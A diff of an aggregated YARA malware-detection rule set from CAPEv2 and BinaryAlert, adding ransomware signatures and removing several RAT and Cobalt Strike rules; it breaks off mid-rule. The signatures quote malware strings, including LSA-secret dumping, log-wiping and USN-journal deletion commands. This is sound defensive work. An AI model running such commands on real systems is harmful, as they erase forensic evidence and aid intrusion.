"https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "2aaa7de7ccd59e0da690f4bc0c7deaacf61314d61f8d2aa3ce6f6892f50612ec" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/SquirrelWaffle.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5f799333398421d537ec7a87ca94f6cc9cf1e53e55b353036a5132440990e500" score = 75 quality = 70 tags = "FILE" - cape_type = "RokRat Payload" + cape_type = "SquirrelWaffle Payload" strings: - $code1 = {8B 57 04 8D 7F 04 33 57 FC 81 E2 FF FF FF 7F 33 57 FC 8B C2 24 01 0F B6 C0 F7 D8 1B C0 D1 EA 25 DF B0 08 99 33 87 30 06 00 00 33 C2 89 87 3C F6 FF FF 83 E9 01 75 C9} - $string1 = "/pho_%s_%d.jpg" wide + $code = {8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39 8D 4D ?? 0F B6 C0 50 6A 01 E8 [4] C6 45} + $decode = {F7 75 ?? 83 7D ?? 10 8D 4D ?? 8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39} condition: - uint16( 0 ) == 0x5A4D and ( any of ( $code* ) ) and ( any of ( $string* ) ) + uint16( 0 ) == 0x5A4D and all of them } /* * YARA Rule Set * Repository Name: BinaryAlert * Repository: https://github.com/airbnb/binaryalert/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: a9c0f06affc35e1f8e45bb77f835b92350c68a0b - * Number of Rules: 80 + * Number of Rules: 78 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance) * * @@ -67053,39 +67053,6 @@ rule CAPE_Rokrat : FILE limitations under the License. */ -private rule BINARYALERT_Cobaltstrike_Template_Exe_PRIVATE : FILE -{ - meta: - description = "Template to provide executable detection Cobalt Strike payloads" - author = "@javutin, @joseselvi" - id = "39c27acf-1264-584d-99e0-77b0e9352078" - date = "2017-12-14" - modified = "2017-12-14" - reference = "https://www.cobaltstrike.com" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_template.yara#L1-L28" - license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "492b2b0b319509fe26473add6ca50c246a0c30fb8a7f9e2631c8d3e9e146c611" - score = 75 - quality = 80 - tags = "FILE" - - strings: - $compiler = "mingw-w64 runtime failure" nocase - $f1 = "VirtualQuery" fullword - $f2 = "VirtualProtect" fullword - $f3 = "vfprintf" fullword - $f4 = "Sleep" fullword - $f5 = "GetTickCount" fullword - $c1 = { // Compare case insensitive with "msvcrt", char by char - 0f b6 50 01 80 fa 53 74 05 80 fa 73 75 42 0f b6 - 50 02 80 fa 56 74 05 80 fa 76 75 34 0f b6 50 03 - 80 fa 43 74 05 80 fa 63 75 26 0f b6 50 04 80 fa - 52 74 05 80 fa 72 75 18 0f b6 50 05 80 fa 54 74 - } - - condition: - uint16( 0 ) == 0x5a4d and filesize < 1000KB and $compiler and all of ( $f* ) and all of ( $c* ) -} private rule BINARYALERT_Macho_PRIVATE : FILE { meta: @@ -67118,7 +67085,7 @@ rule BINARYALERT_Eicar_Av_Test license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" logic_hash = "870db233ca083fae19a88a109e13d086c76df2340b709eb2da565c08574a42bd" score = 50 - quality = 80 + quality = 55 tags = "" strings: @@ -67149,644 +67116,525 @@ rule BINARYALERT_Eicar_Substring_Test condition: all of them } -rule BINARYALERT_Malware_Multi_Vesche_Basicrat -{ - meta: - description = "cross-platform Python 2.x Remote Access Trojan (RAT)" - author = "@mimeframe" - id = "e07a684c-3a3d-5dd3-a540-2cc9a5a170dd" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/vesche/basicRAT" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_vesche_basicrat.yara#L1-L15" - license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "1503ce9de4e721903058c77b305ba057052d654ff1875ea880f4319c3e525a29" - score = 75 - quality = 80 - tags = "" - - strings: - $a1 = "HKCU Run registry key applied" wide ascii - $a2 = "HKCU Run registry key failed" wide ascii - $a3 = "Error, platform unsupported." wide ascii - $a4 = "Persistence successful," wide ascii - $a5 = "Persistence unsuccessful," wide ascii - - condition: - all of ( $a* ) -} -rule BINARYALERT_Malware_Multi_Pupy_Rat -{ - meta: - description = "pupy - opensource cross platform rat and post-exploitation tool" - author = "@mimeframe" - id = "b26deb19-85b2-5d39-9ff2-0ab9017f3263" - date = "2017-08-11" - modified = "2017-09-12" - reference = "https://github.com/n1nj4sec/pupy" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_pupy_rat.yara#L1-L16" - license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "bb5d1e7f2aea94dc41efe75690ae31409e8f6305aa6c4ec0cd46922ee8fb7241" - score = 75 - quality = 74 - tags = "" - - strings: - $a1 = "dumping lsa secrets" nocase wide ascii - $a2 = "dumping cached domain passwords" nocase wide ascii - $a3 = "the keylogger is already started" nocase wide ascii - $a4 = "pupyutils.dns" wide ascii - $a5 = "pupwinutils.security" wide ascii - $a6 = "-PUPY_CONFIG_COMES_HERE-" wide ascii - - condition: - 3 of ( $a* ) -} -rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_1 +rule BINARYALERT_Ransomware_Windows_Petya_Variant_Bitcoin { meta: - description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts" + description = "Petya Ransomware new variant June 2017 using ETERNALBLUE: Bitcoin" author = "@fusionrace" - id = "6b5709fd-a923-56b6-98ab-ae036f9d04c3" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://securelist.com/introducing-whitebear/81638/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_1.yara#L1-L22" - license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "b099b82acb860d9a9a571515024b35f0" - logic_hash = "f6706c66a378b80d3cedf118a812d8add60e12b44402a30d941d08ff30c7ab1c" - score = 75 - quality = 80 - tags = "" - - strings: - $a1 = "### PE STORAGE ###" wide ascii - $a2 = "### CRYPTO 0 ###" wide ascii - $a3 = "### EXTERNAL STORAGE ###" wide ascii - $a4 = "### CRYPTO 1 ###" wide ascii - $a5 = "### QUEUES ###" wide ascii - $a6 = "### TRANSPORT ###" wide ascii - $a7 = "### EXECUTION SUBSYSTEM ###" wide ascii - $a8 = "### AUTORUN MANAGER ###" wide ascii - $a9 = "### INJECT MANAGER ###" wide ascii - $a10 = "### LOCAL TRANSPORT MANAGER ###" wide ascii - - condition: - 6 of ( $a* ) -} -rule BINARYALERT_Malware_Windows_T3Ntman_Crunchrat -{ - meta: - description = "HTTPS-based Remote Administration Tool (RAT)" - author = "@mimeframe" - id = "c5b0d183-8822-505a-a1ff-7d6f75a3f174" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/t3ntman/CrunchRAT" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_t3ntman_crunchrat.yara#L1-L19" + id = "82d6ecc5-7c90-5d50-90ff-f54f8d87685d" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_bitcoin.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "b5216b2b30d22f3d3848e1fb6e4245c558366fb8cd35b70f10fa4e605e211204" + hash = "71b6a493388e7d0b40c83ce903bc6b04" + logic_hash = "9a5e183aa8e1387e76d5df4e967943b730ba780b6758af3ef23e21bb9e4ce3a6" score = 75 quality = 80 tags = "" strings: - $a1 = "command" wide ascii - $a2 = "upload" wide ascii - $a3 = "download" wide ascii - $a4 = "cmd.exe" wide ascii - $a5 = "application/x-www-form-urlencoded" wide ascii - $a6 = "&action=" wide ascii - $a7 = "&secondary=" wide ascii - $a8 = "" wide ascii - $a9 = "" wide ascii + $s1 = "MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB" fullword wide condition: - all of ( $a* ) + $s1 } -rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_3 +rule BINARYALERT_Ransomware_Windows_Petya_Variant_2 { meta: - description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts" + description = "Petya Ransomware new variant June 2017 using ETERNALBLUE" author = "@fusionrace" - id = "bdcc0c30-3aa7-5c92-8205-9b360d10ac59" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://securelist.com/introducing-whitebear/81638/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_3.yara#L1-L16" - license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "b099b82acb860d9a9a571515024b35f0" - logic_hash = "955aad2d72407baa7fb71e04b51557649a6f91633f5bdb1a8792e328a1587d23" - score = 75 - quality = 80 - tags = "" - - strings: - $c1 = "{531511FA-190D-5D85-8A4A-279F2F592CC7}" wide ascii - $c2 = "IsLoaderAlreadyWork" wide ascii - $c3 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%03x%01x-%01x" wide ascii - $c4 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%02x%02x-%01x" wide ascii - - condition: - all of ( $c* ) -} -rule BINARYALERT_Malware_Windows_Xrat_Quasarrat -{ - meta: - description = "xRAT is a derivative of QuasarRAT; this catches both RATs." - author = "@mimeframe" - id = "f4db2402-3653-5525-a137-de2de29cef28" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/quasar/QuasarRAT" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_xrat_quasarrat.yara#L1-L31" - license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "92533157a62ccae5d1bdc9d0bb7511817422c6b5d75d013a15173cd1121d099e" - score = 75 - quality = 30 - tags = "" - - strings: - $a1 = ">> New Session created" wide ascii - $a2 = ">> Session unexpectedly closed" wide ascii - $a3 = ">> Session closed" wide ascii - $a4 = "session unexpectedly closed" wide ascii - $a5 = "cmd" fullword wide ascii - $a6 = "/K" fullword wide ascii - $b1 = "echo DONT CLOSE THIS WINDOW!" wide ascii - $b2 = "ping -n 20 localhost > nul" wide ascii - $b3 = "Downloading file..." wide ascii - $b4 = "Visited Website" wide ascii - $b5 = "Adding Autostart Item failed!" wide ascii - $b6 = ":Zone.Identifier" wide ascii - $c1 = "GetDrives I/O error" wide ascii - $c2 = "/r /t 0" wide ascii - $c3 = "desktop.ini" wide ascii - $c4 = "WAN IP Address" wide ascii - $c5 = "User refused the elevation request." wide ascii - $c6 = "Process already elevated." wide ascii - - condition: - 5 of ( $a* ) or 5 of ( $b* ) or 5 of ( $c* ) -} -rule BINARYALERT_Malware_Windows_Moonlightmaze_Xk_Keylogger -{ - meta: - description = "Rule to detect Moonlight Maze 'xk' keylogger" - author = "Kaspersky Lab" - id = "5623021d-0d70-59b3-ae30-522e81552da0" + id = "6401fd7e-5ef7-58b5-b8d3-a63c70e8daa3" date = "2017-08-11" modified = "2017-08-11" - reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_xk_keylogger.yara#L1-L22" + reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_2.yara#L1-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "430027b41aeda9a11dadec2e4d3dd2474852ff3a7656ed7128711a1574e66b8f" + hash = "71b6a493388e7d0b40c83ce903bc6b04" + logic_hash = "7e04ffd0423cd1288af5c045bb06930abb732c0ea059e329cafc05faecb4f982" score = 75 - quality = 30 + quality = 78 tags = "" strings: - $a1 = "Log ended at => %s" - $a2 = "Log started at => %s [pid %d]" - $a3 = "/var/tmp/task" fullword - $a4 = "/var/tmp/taskhost" fullword - $a5 = "my hostname: %s" - $a6 = "/var/tmp/tasklog" - $a7 = "/var/tmp/.Xtmp01" fullword - $a8 = "myfilename=-%s-" - $a9 = "/var/tmp/taskpid" - $a10 = "mypid=-%d-" fullword - $a11 = "/var/tmp/taskgid" fullword - $a12 = "mygid=-%d-" fullword + $s1 = "dllhost.dat" fullword wide + $s2 = "\\\\%ws\\admin$\\%ws" fullword wide + $s3 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\"" fullword wide + $s4 = "\\\\.\\PhysicalDrive" fullword wide + $s5 = ".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip." fullword wide condition: - 3 of ( $a* ) + 3 of them } -rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_2 +rule BINARYALERT_Ransomware_Windows_Zcrypt { meta: - description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts" + description = "Zcrypt will encrypt data and append the .zcrypt extension to the filenames" author = "@fusionrace" - id = "d97b7fe1-7ff3-5cc0-9085-140ed523421f" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://securelist.com/introducing-whitebear/81638/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_2.yara#L1-L17" + id = "d79cd266-4e77-562c-975c-8bf72efe7242" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://blog.malwarebytes.com/threat-analysis/2016/06/zcrypt-ransomware/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_zcrypt.yara#L1-L23" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "06bd89448a10aa5c2f4ca46b4709a879" - logic_hash = "9bb7fc3b3bf7f91efbba128895bb61b5a1bbdb6625d84836956de5e884ae3fe1" + hash = "d1e75b274211a78d9c5d38c8ff2e1778" + logic_hash = "df4073363da162e69f29493b5bfb4cb3f3d342357335c13ba6a3ac868607cb25" score = 75 - quality = 80 + quality = 78 tags = "" strings: - $b1 = "i cunt waiting anymore #%d" wide ascii - $b2 = "lights aint turnt off with #%d" wide ascii - $b3 = "Not find process" wide ascii - $b4 = "CMessageProcessingSystem::Receive_TAKE_NOP" wide ascii - $b5 = "CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK" wide ascii + $u1 = "How to Buy Bitcoins" ascii wide + $u2 = "ALL YOUR PERSONAL FILES ARE ENCRYPTED" ascii wide + $u3 = "Click Here to Show Bitcoin Address" ascii wide + $u4 = "MyEncrypter2.pdb" fullword ascii wide + $g1 = ".p7b" fullword ascii wide + $g2 = ".p7c" fullword ascii wide + $g3 = ".pdd" fullword ascii wide + $g4 = ".pef" fullword ascii wide + $g5 = ".pem" fullword ascii wide + $g6 = "How to decrypt files.html" fullword ascii wide condition: - 3 of ( $b* ) + any of ( $u* ) or all of ( $g* ) } -rule BINARYALERT_Malware_Windows_Moonlightmaze_U_Logcleaner : FILE +rule BINARYALERT_Ransomware_Windows_Cerber_Evasion { meta: - description = "Rule to detect log cleaners based on utclean.c" - author = "Kaspersky Lab" - id = "2dc1b796-c8fe-5a87-9d6b-3a322f4a43ab" + description = "Cerber Ransomware: Evades detection by machine learning applications" + author = "@fusionrace" + id = "6e2f44a9-bc0f-5071-9d80-ddfb778cfe5d" date = "2017-08-11" modified = "2017-08-11" - reference = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_u_logcleaner.yara#L3-L18" + reference = "http://www.darkreading.com/vulnerabilities---threats/cerber-ransomware-now-evades-machine-learning/d/d-id/1328506" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cerber_evasion.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "65fe29075294dfad06f4cca631d5d2f1283c439e9a5913f503fe6e4bb1f5f70a" + hash = "bc62b557d48f3501c383f25d014f22df" + logic_hash = "43b3b8be5a23b57f6c671abd8491cdc51af1cf3a3fe8a7be308150697cdb92ea" score = 75 quality = 80 - tags = "FILE" - md5_1 = "d98796dcda1443a37b124dbdc041fe3b" - md5_2 = "73a518f0a73ab77033121d4191172820" + tags = "" strings: - $a1 = "Hiding complit...n" - $a2 = "usage: %s [hostname]" - $a3 = "ls -la %s* ; /bin/cp ./wtmp.tmp %s; rm ./wtmp.tmp" + $s1 = "38oDr5.vbs" fullword ascii wide + $s2 = "8ivq.dll" fullword ascii wide + $s3 = "jmsctls_progress32" fullword ascii wide condition: - ( uint32( 0 ) == 0x464c457f ) and ( any of them ) + all of them } -rule BINARYALERT_Malware_Windows_Remcos_Rat +rule BINARYALERT_Ransomware_Windows_Petya_Variant_3 { meta: - description = "No description has been set in the source file - BinaryAlert" - author = "@mimeframe" - id = "420c135f-3150-5cb9-9c1c-105cd260d713" + description = "Petya Ransomware new variant June 2017 using ETERNALBLUE" + author = "@fusionrace" + id = "cbf06e62-abe8-54af-b4f4-624ba9233e4b" date = "2017-08-11" modified = "2017-08-11" - reference = "https://breaking-security.net/remcos/remcos-changelog/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_remcos_rat.yara#L1-L20" + reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_3.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "c8dafe143fe1d81ae6a3c0cd4724b272" - logic_hash = "ec1ec69f628111235bafad8177482256ed571c064a81f01b6ec2643dccc926ad" + hash = "71b6a493388e7d0b40c83ce903bc6b04" + logic_hash = "4f21b394eb2dd0ebf416b018f438934fdc89cb896701d95b593477fc19abfe48" score = 75 quality = 80 tags = "" strings: - $a1 = "[Following text has been pasted from clipboard:]" wide ascii - $a2 = "[Chrome StoredLogins found, cleared!]" wide ascii - $a3 = "[Firefox StoredLogins cleared!]" wide ascii - $b1 = "getclipboard" wide ascii - $b2 = "stopmiccapture" wide ascii - $b3 = "downloadfromurltofile" wide ascii - $b4 = "getcamsingleframe" wide ascii - $c1 = "Breaking-Security.Net" wide ascii - $c2 = "REMCOS v" wide ascii + $s1 = "wevtutil cl Setup & wevtutil cl System" fullword wide + $s2 = "fsutil usn deletejournal /D %c:" fullword wide condition: - any of ( $a* ) or 3 of ( $b* ) or all of ( $c* ) + any of them } -rule BINARYALERT_Ccleaner_Backdoor +rule BINARYALERT_Ransomware_Windows_Cryptolocker { meta: - description = "Ccleaner 5.33 backdoor with a possible APT17/Group72 connection." + description = "The CryptoLocker malware propagated via infected email attachments, and via an existing botnet; when activated, the malware encrypts files stored on local and mounted network drives" author = "@fusionrace" - id = "769e4fcb-9638-5a5b-8b73-a1cda3bc286a" - date = "2017-12-14" - modified = "2017-12-14" - reference = "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_ccleaner_backdoor.yara#L1-L15" + id = "be205f4b-d078-5437-bacc-203c816db2fa" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://www.secureworks.com/research/cryptolocker-ransomware" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cryptolocker.yara#L1-L21" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "ce3fc54d58e337ab17e6f1ba7745c593210483c02ed3969059a8fe6682d87218" + hash = "012d9088558072bc3103ab5da39ddd54" + logic_hash = "317cbc01b4c329befeb5b25478f7827298a26d21b872ae232c519febd9c547fc" score = 75 quality = 80 tags = "" - md5_1 = "d488e4b61c233293bec2ee09553d3a2f" - md5_2 = "b95911a69e49544f9ecc427478eb952f" - md5_3 = "063b58879c8197b06d619c3be90506ec" - md5_4 = "7690e414e130acf7c962774c05283142" strings: - $s1 = "s:\\workspace\\ccleaner\\branches\\v5.33" fullword ascii wide + $u0 = "Paysafecard is an electronic payment method for predominantly online shopping" fullword ascii wide + $u1 = "bb to select the method of payment and the currency." fullword ascii wide + $u2 = "Where can I purchase a MoneyPak?" fullword ascii wide + $u3 = "Ukash is electronic cash and e-commerce brand." fullword ascii wide + $u4 = "You have to send below specified amount to Bitcoin address" fullword ascii wide + $u5 = "cashU is a prepaid online" fullword ascii wide + $u6 = "Your important files \\b encryption" fullword ascii wide + $u7 = "Encryption was produced using a \\b unique\\b0 public key" fullword ascii wide + $u8 = "then be used to pay online, or loaded on to a prepaid card or eWallet." fullword ascii wide + $u9 = "Arabic online gamers and e-commerce buyers." fullword ascii wide condition: - $s1 + 2 of them } -rule BINARYALERT_Malware_Windows_Moonlightmaze_IRIX_Exploit_GEN : FILE +rule BINARYALERT_Ransomware_Windows_Powerware_Locky { meta: - description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers" - author = "Kaspersky Lab" - id = "4f9ab7b0-4fb9-5311-ae23-01d0a9e2e104" + description = "PowerWare Ransomware" + author = "@fusionrace" + id = "8a1a56af-7a9d-54ed-90b9-daf33735ee1e" date = "2017-08-11" modified = "2017-08-11" - reference = "https://www.exploit-db.com/exploits/19274/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_IRIX_exploit_GEN.yara#L3-L20" + reference = "https://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_powerware_locky.yara#L1-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "9d55d780c84f2aa4e64c19842b2055ef4bf7c8844ebe622c3942445b06ab8344" + hash = "3433a4da9d8794709630eb06afd2b8c1" + logic_hash = "64de34755f706a9fd4c876c473eed4f8922a4450c7ef135b0ab5e49c67363baf" score = 75 - quality = 80 - tags = "FILE" - md5_1 = "008ea82f31f585622353bd47fa1d84be" - md5_2 = "a26bad2b79075f454c83203fa00ed50c" - md5_3 = "f67fc6e90f05ba13f207c7fdaa8c2cab" - md5_4 = "5937db3896cdd8b0beb3df44e509e136" - md5_5 = "f4ed5170dcea7e5ba62537d84392b280" + quality = 78 + tags = "" strings: - $a1 = "stack = 0x%x, targ_addr = 0x%x" - $a2 = "execl failed" + $s0 = "ScriptRunner.dll" fullword ascii wide + $s1 = "ScriptRunner.pdb" fullword ascii wide + $s2 = "fixed.ps1" fullword ascii wide condition: - ( uint32( 0 ) == 0x464c457f ) and ( all of them ) + all of them } -rule BINARYALERT_Malware_Windows_Moonlightmaze_Wipe : FILE +rule BINARYALERT_Ransomware_Windows_Lazarus_Wannacry : FILE { meta: - description = "Rule to detect log cleaner based on wipe.c" - author = "Kaspersky Lab" - id = "35060c3d-b805-54a6-a241-eb6e99168fa8" + description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta" + author = "Costin G. Raiu, Kaspersky Lab" + id = "6335bd03-0625-5856-891c-9a5decd7e00f" date = "2017-08-11" modified = "2017-08-11" - reference = "http://www.afn.org/~afn28925/wipe.c" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_wipe.yara#L3-L18" + reference = "https://twitter.com/neelmehta/status/864164081116225536" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_lazarus_wannacry.yara#L3-L32" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "e69efc504934551c6a77b525d5343241" - logic_hash = "0241d1ca9f5a4d066f7ed2e80bc18ebae3723c6a2364422e31909e8f0e576675" + logic_hash = "dddff5f74bf3f11baf1d3853d6cb5e5b1e0c5e75445c421d4d5145f7a496fc4b" score = 75 quality = 80 tags = "FILE" + md5_1 = "9c7c7149387a1c79679a87dd1ba755bc" + md5_2 = "ac21c8ad899727137c4b94458d7aa8d8" strings: - $a1 = "ERROR: Unlinking tmp WTMP file." - $a2 = "USAGE: wipe [ u|w|l|a ] ...options..." - $a3 = "Erase acct entries on tty : wipe a [username] [tty]" - $a4 = "Alter lastlog entry : wipe l [username] [tty] [time] [host]" + $a1 = { + 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75 + 04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 + 46 56 E8 + } + $a2 = { + 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00 + 10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00 + 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 + 38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 + 44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00 + 68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00 + FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0 + 08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0 + 10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0 + 2B C0 2C C0 FF FE + } condition: - ( uint32( 0 ) == 0x464c457f ) and ( 2 of them ) + (( uint16( 0 ) == 0x5A4D ) ) and all of them } -rule BINARYALERT_Malware_Windows_Pony_Stealer +rule BINARYALERT_Ransomware_Windows_Hydracrypt { meta: - description = "Pony stealer malware" - author = "@mimeframe" - id = "77af81cb-36c7-56a7-bd89-14d79628e5c4" + description = "HydraCrypt encrypts a victim’s files and appends the filenames with the extension “hydracrypt_ID_*" + author = "@fusionrace" + id = "9ebf205e-b6a9-55a3-b0c3-9b088790dc9a" date = "2017-08-11" modified = "2017-08-11" - reference = "https://www.knowbe4.com/pony-stealer" - source_url = 